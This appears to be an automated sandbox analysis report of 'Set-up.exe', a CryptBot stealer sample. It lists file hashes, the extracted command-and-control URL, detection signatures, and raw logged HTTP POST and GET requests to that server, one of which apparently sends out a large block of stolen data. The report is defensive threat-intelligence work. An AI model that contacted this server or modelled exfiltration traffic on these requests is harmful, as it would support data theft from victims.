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Analysis

  • max time kernel
    63s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    31/12/2024, 15:32 UTC

General

  • Target

    Set-up.exe

  • Size

    7.4MB

  • MD5

    3d060ec62ad0864cfd0d40f46a4f07a9

  • SHA1

    8caba4598d19477a1e4442c4c710fa3909023c5b

  • SHA256

    6f80bb8b470640ae7542eb1b239f2a790d61047254accccf747c4d64907fec66

  • SHA512

    40e7f3407eec75b9ea5027387e2e5de294e6131f6ef00cda7640a6fb93a7e514683895066e509df817fd4de85854969fba8d01dedb40826e4bb59e28981f127d

  • SSDEEP

    49152:zINwrsavev5BI2tev8aclalc6UnNaxT1jvwgJr0vJnWShbKsqBIKTlblgPyz8wA/:zIQsX5BMvh64cxnMxRjVJQxPKTSyz8/

Malware Config

Extracted

Family

cryptbot

C2

http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1

Signatures

  • CryptBot

    CryptBot is a C++ stealer distributed widely in bundle with other software.

  • Cryptbot family
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Set-up.exe
    "C:\Users\Admin\AppData\Local\Temp\Set-up.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:528

Network

  • flag-us
    DNS
    httpbin.org
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    httpbin.org
    IN A
    Response
  • flag-us
    DNS
    httpbin.org
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    httpbin.org
    IN AAAA
    Response
    httpbin.org
    IN A
    34.197.122.172
    httpbin.org
    IN A
    34.200.57.114
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN A
    Response
    home.eleventj11vt.top
    IN A
    34.147.147.173
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN AAAA
    Response
  • flag-gb
    POST
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
    Set-up.exe
    Remote address:
    34.147.147.173:80
    Request
    POST /olNuzJxAApOsKhOXzdRo1735639435 HTTP/1.1
    Host: home.eleventj11vt.top
    Accept: */*
    Content-Type: application/json
    Content-Length: 413587
    Response
    HTTP/1.1 200 OK
    server: nginx/1.22.1
    date: Tue, 31 Dec 2024 15:36:01 GMT
    content-type: text/html; charset=utf-8
    content-length: 1
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN A
    Response
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN AAAA
    Response
    home.eleventj11vt.top
    IN A
    34.147.147.173
  • flag-gb
    GET
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435?argument=0
    Set-up.exe
    Remote address:
    34.147.147.173:80
    Request
    GET /olNuzJxAApOsKhOXzdRo1735639435?argument=0 HTTP/1.1
    Host: home.eleventj11vt.top
    Accept: */*
    Response
    HTTP/1.1 404 NOT FOUND
    server: nginx/1.22.1
    date: Tue, 31 Dec 2024 15:36:01 GMT
    content-type: text/html; charset=utf-8
    content-length: 207
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN A
    Response
    home.eleventj11vt.top
    IN A
    34.147.147.173
  • flag-us
    DNS
    home.eleventj11vt.top
    Set-up.exe
    Remote address:
    8.8.8.8:53
    Request
    home.eleventj11vt.top
    IN AAAA
    Response
  • flag-gb
    POST
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
    Set-up.exe
    Remote address:
    34.147.147.173:80
    Request
    POST /olNuzJxAApOsKhOXzdRo1735639435 HTTP/1.1
    Host: home.eleventj11vt.top
    Accept: */*
    Content-Type: application/json
    Content-Length: 31
    Response
    HTTP/1.1 404 NOT FOUND
    server: nginx/1.22.1
    date: Tue, 31 Dec 2024 15:36:01 GMT
    content-type: text/html; charset=utf-8
    content-length: 207
  • 34.197.122.172:443
    httpbin.org
    tls
    Set-up.exe
    1.6kB
    6.5kB
    15
    16
  • 34.147.147.173:80
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
    http
    Set-up.exe
    426.2kB
    2.2kB
    312
    51

    HTTP Request

    POST http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435

    HTTP Response

    200
  • 34.147.147.173:80
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435?argument=0
    http
    Set-up.exe
    331 B
    485 B
    5
    3

    HTTP Request

    GET http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435?argument=0

    HTTP Response

    404
  • 34.147.147.173:80
    http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435
    http
    Set-up.exe
    404 B
    525 B
    5
    4

    HTTP Request

    POST http://home.eleventj11vt.top/olNuzJxAApOsKhOXzdRo1735639435

    HTTP Response

    404
  • 8.8.8.8:53
    httpbin.org
    dns
    Set-up.exe
    160 B
    250 B
    2
    2

    DNS Request

    httpbin.org

    DNS Request

    httpbin.org

    DNS Response

    34.197.122.172
    34.200.57.114

  • 8.8.8.8:53
    home.eleventj11vt.top
    dns
    Set-up.exe
    180 B
    232 B
    2
    2

    DNS Request

    home.eleventj11vt.top

    DNS Request

    home.eleventj11vt.top

    DNS Response

    34.147.147.173

  • 8.8.8.8:53
    home.eleventj11vt.top
    dns
    Set-up.exe
    180 B
    232 B
    2
    2

    DNS Request

    home.eleventj11vt.top

    DNS Request

    home.eleventj11vt.top

    DNS Response

    34.147.147.173

  • 8.8.8.8:53
    home.eleventj11vt.top
    dns
    Set-up.exe
    180 B
    232 B
    2
    2

    DNS Request

    home.eleventj11vt.top

    DNS Request

    home.eleventj11vt.top

    DNS Response

    34.147.147.173

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/528-0-0x0000000001230000-0x00000000019A7000-memory.dmp

    Filesize

    7.5MB

  • memory/528-2-0x0000000001230000-0x00000000019A7000-memory.dmp

    Filesize

    7.5MB

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